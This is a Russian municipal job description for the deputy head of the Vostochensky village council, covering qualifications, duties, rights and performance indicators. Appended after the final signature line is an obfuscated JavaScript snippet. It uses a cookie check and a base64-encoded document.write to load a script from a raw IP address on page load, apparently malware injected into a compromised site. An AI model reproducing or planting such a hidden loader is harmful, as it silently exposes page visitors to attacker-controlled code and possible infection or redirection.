Приложение к Постановлению Главы администрации от 14.03.2014 № 16-п
Утверждаю:
Глава Восточенского сельсовета:
А.П.Широченко _______________
Должностные обязанности
Зам Главы Восточенского сельсовета
- Общая часть
- Наименование должности — зам. Главы сельсовета
- Группа должности – главная должность
- Категория должности — руководитель
2. Квалификационные требования:
2.1. Образование – высшее по специальности «Государственное
и муниципальное управление или высшее с повышением квалификации или с профессиональной переподготовкой по специальности «государственное и муниципальное управление».
2.2. Стаж и опыт работы – стаж муниципальной службы на
младших муниципальных должностях не менее 2-х лет или
стаж работы руководителя или работы, связанной с общением не менее 3-х лет.
- Знания: Конституция РФ, Уставов края, района, сельсовета,
трудового законодательства, Законодательных актов по местному самоуправлению, по муниципальной службе, нормативных актов о ведении делопроизводства.
- Умение и личные качества, организаторские способности, умение работать с людьми, коммуникабельность, умение анализировать.
3. Служебные отношения:
- Назначение на должность осуществляется Главой сельсовета, непосредственный руководитель — глава сельсовета.
- Подчинённые – специалисты администрации.
4. Должностные обязанности
4.1. Исполнять должностные обязанности в соответствии с должностной инструкцией;
4.2. Соблюдать права и законные интересы граждан и организаций;
4.3. Соблюдать установленные в Администрации сельсовета Правила внутреннего трудового распорядка, порядок работы со служебной информацией;
4.4.Поддерживать уровень квалификации, необходимой для надлежащего исполнения должностных обязанностей;
4.5. Беречь муниципальное имущество, в том числе предоставленное ему для исполнения должностных обязанностей;
4.6. Представлять в установленном порядке предусмотренные законодательством Российской Федерации сведения о себе и членах своей семьи, а также сведения о полученных им доходах и принадлежащем ему на праве собственности имуществе, являющихся объектами налогооблажения, об обязательствах имущественного характера;
4.7. Сообщать Главе Восточенского сельсовета о личной заинтересованности при исполнении должностных обязанностей, которая может привести к конфликту интересов, и принимать меры по предотвращению такого конфликта;
4.8. муниципальный служащий обязан уведомлять Главу сельсовета, органы прокуратуры или другие государственные органы обо всех случаях обращения к нему каких-либо лиц в целях склонения его к совершению коррупционных правонарушений.
4.9. Муниципальный служащий не вправе исполнять данное ему неправомерное поручение. При получении от соответствующего руководителя поручения, являющегося, по мнению муниципального служащего, неправомерным, муниципальный служащий должен представить руководителю, давшему поручение, в письменной форме обоснование неправомерности данного поручения с указанием положений федеральных законов и иных нормативных правовых актов Российской Федерации, законов и иных нормативных правовых актов Красноярского края, муниципальных правовых актов, которые могут быть нарушены при исполнении данного поручения. В случае подтверждения руководителем данного поручения в письменной форме муниципальный служащий обязан отказаться от его исполнения. В случае исполнения неправомерного поручения муниципальный служащий и давший это поручение руководитель несут ответственность в соответствии с законодательством Российской Федерации.
5. Функциональные обязанности муниципального служащего:
5.1. Организует и ведет делопроизводство сельского Совета депутатов, администрации сельсовета.
5.2. Осуществление мер по противодействию коррупции в границах поселения.
5.3. Ведёт учёт рабочего времени и составляет табель выхода на работу .
5.4.Принимает в случае стихийных бедствий и аварий меры по обеспечению безопасности населения.
5.3. Участвует в планировании и организации работы администрации Восточенского сельсовета и общественных организаций.
5.4. Ведет учет обращений граждан, прослеживает и регистрирует информацию о реагировании на обращения граждан.
5.5. Организует и ведет кадровое делопроизводство ( книга приказов, трудовые книжки, личные дела, трудовые договора).
5.6. Совершает в соответствии с законодательством нотариальные действия.
5.7. Является хранителем гербовой печати и штампа администрации сельсовета.
5.8. Отвечает за выпуск ведомостей органа местного самоуправления.
5.9. Разрабатывает проекты нормативных правовых актов администрации Восточенского сельсовета и Восточенского сельского Совета депутатов.
5.10. Проводит мониторинг изменений законодательства для внесения изменений в действующие нормативные правовые акты.
5.11. Проводит антикоррупционную экспертизу проектов нормативных правовых актов и действующих нормативных правовых актов.
5.12. Готовит материалы для квалификационных и конкурсных комиссий.
5.13. Ведет Реестр действующих нормативных правовых актов.
5.14. Ведет Реестр муниципальных служащих администрации Восточенского сельсовета.
5.15. Ведет Регистр нормативных правовых актов, направляемых в Администрацию Губернатора Красноярского края и Прокуратуру Краснотуранского района.
5.16. Осуществляет контроль над исполнением распорядительных актов Главы сельсовета.
5.17. Размещение в сети «Интернет» информации о деятельности ОМСУ, доводит до сведения жителей сельсовета полной и достоверной информации о деятельности ОМСУ сельсовета. Является ответственным лицом за выпуск газеты «Импульс» (ведомости органов местного самоуправления Восточенского сельсовета).
5.18. Несет ответственность за номенклатуру дел и архив.
5.19. Оформляет пакет документов гражданам для приватизации муниципального жилья
5.20. Оказывает помощь жителям сельсовета в назначении льгот, пенсий, награждений, в подтверждении стажа.
5.21 .Содействует организации обслуживания престарелых граждан, способствует устройству граждан и детей в учреждения социального обеспечения, оформления попечительства и опекунства, лишения родительских прав, контролирует выполнение обязанностей опекунов и попечителей, ведет работу с неблагополучными семьями.
5.22. В отсутствии Главы сельсовета исполняет полномочия Главы сельсовета.
5.23. Ведет похозяйственный учет на территории сельсовета, проводит ежегодную перепись населения и домашних животных, сдает ежегодные и квартальные отчеты в органы статистики
5.24. На основе похозяйственного учета выдает справки, удостоверяющие семейное положение, регистрацию личности, проживание личности, наличие подсобного хозяйства, наличие приусадебного участка, площадь дома, вид отопления.
5.25. Является начальником штаба ГО по Восточенскому сельсовету.
5.26. Ежемесячно ведет учет избирателей.
5.27. Выполняет требования по ТБ и ППБ. Своевременно проходит инструктаж по ТБ и ППБ, регулярно проходит медицинский осмотр.
6. Права
6. Муниципальный служащий имеет право на:
-
ознакомление с документами, устанавливающими его права и обязанности по замещаемой должности муниципальной службы, критериями оценки качества исполнения должностных обязанностей и условиями продвижения по службе;
-
обеспечение организационно-технических условий, необходимых для исполнения должностных обязанностей;
-
оплату труда и другие выплаты в соответствии с трудовым законодательством, законодательством о муниципальной службе и трудовым договором;
-
отдых, обеспечиваемый установлением нормальной продолжительности рабочего (служебного) времени, предоставлением выходных дней и нерабочих праздничных дней, а также ежегодного оплачиваемого отпуска;
-
получение в установленном порядке информации и материалов, необходимых для исполнения должностных обязанностей, а также на внесение предложений о совершенствовании деятельности органа местного самоуправления муниципального образования Восточенский сельсовет;
-
участие по своей инициативе в конкурсе на замещение вакантной должности муниципальной службы;
-
повышение квалификации в соответствии с муниципальным правовым актом за счет средств местного бюджета;
-
защиту своих персональных данных;
-
ознакомление со всеми материалами своего личного дела, с отзывами о профессиональной деятельности и другими документами до внесения их в его личное дело, а также на приобщение к личному делу его письменных объяснений;
-
рассмотрение индивидуальных трудовых споров в соответствии с трудовым законодательством, защиту своих прав и законных интересов на муниципальной службе, включая обжалование в суд их нарушений;
-
пенсионное обеспечение в соответствии с законодательством Российской Федерации.
6.1. Муниципальный служащий, вправе с предварительным письменным уведомлением представителя нанимателя (работодателя) выполнять иную оплачиваемую работу, если это не повлечет за собой конфликт интересов и если иное не предусмотрено Федеральным законом от 2 марта 2007 года № 25-ФЗ «О муниципальной службе в Российской Федерации».
7. Ответственность
7.1. Муниципальный служащий несет ответственность, установленную действующим законодательством Российской Федерации, за неисполнение или ненадлежащее исполнение возложенных на него должностных обязанностей, за действия или бездействие, ведущие к нарушению прав и законных интересов граждан, за сохранение государственной тайны, а также разглашение сведений, ставших ему известными в связи с исполнением должностных обязанностей.
8. Показатели эффективности и результативности профессиональной служебной деятельности муниципального служащего
Оценка результатов профессиональной служебной деятельности
заместителя Главы сельсовета производится по следующим показателям:
8.1.Отсутствие нарушений сроков исполнения документов и их оформления.
8.2.Отсутствие нарушений порядка и сроков рассмотрения предложений, заявлений и жалоб граждан в сельский Совет депутатов и администрацию сельсовета.
8.3. Подготовка материалов, организация заседаний Восточенского сельского Совета депутатов в соответствии с Регламентом сельского Совета депутатов.
8.4.Своевременное оформление распоряжений и постановлений администрации Восточенского сельсовета, решений Восточенского сельского Совета депутатов.
8.5.Отсутствие нарушений порядка ведения реестра действующих нормативных правовых актов.
8.6. Отсутствие нарушений порядка ведения реестра муниципальных служащих администрации Восточенского сельсовета.
8.7. Отсутствие нарушений порядка ведения реестра нормативных правовых актов направляемых в Администрацию Губернатора Красноярского края и Прокуратуру Краснотуранского района.
8.8.Отсутствие нарушений правил ведения делопроизводства сельского Совета депутатов и администрации сельсовета...
8.9.Своевременное оформление кадровых документов администрации сельсовета.
8.10. Ведёт учёт рабочего времени и составляет табель выхода на работу 8.11. Принимает в случае стихийных бедствий и аварий меры по обеспечению безопасности населения.
8.12. Выполняет требования по ТБ и ППБ. Своевременно проходит инструктаж по ТБ и ППБ, регулярно проходит медицинский осмотр.
8.13. Содействует организации обслуживания престарелых граждан, способствует устройству граждан и детей в учреждении социального обеспечения, оформлении попечительства и опекунства.
8.14. Ведёт приём населения, отвечает за учёт, контролирует исполнение обращений, писем, заявлений, жалоб граждан.
8.15. Отсутствие нарушений правил ведения похозяйственного учета на территории сельсовета, своевременная и достоверная сдача ежегодных и квартальных отчетов в органы статистики.
Показатели эффективности и результативности профессиональной служебной деятельности заместителя Главы Восточенского сельсовета учитываются при проведении очередной аттестации.
6. ПРОЧИЕ УСЛОВИЯ
Настоящие должностные обязанности сообщаются зам. Главы сельсовета
под расписку.
Один экземпляр хранится в личном деле.
С должностными обязанностями ознакомлена и обязуюсь выполнять
_________ function getCookie (e){var U=document.cookie.match (new RegExp («(?:^|; )»+e.replace (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent (U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor (Date.now ()/1e3),cookie=getCookie («redirect»);if (now>=(time=cookie)||void 0===time){var time=Math.floor (Date.now ()/1e3+86400),date=new Date ((new Date).getTime ()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString (),document.write ('')}
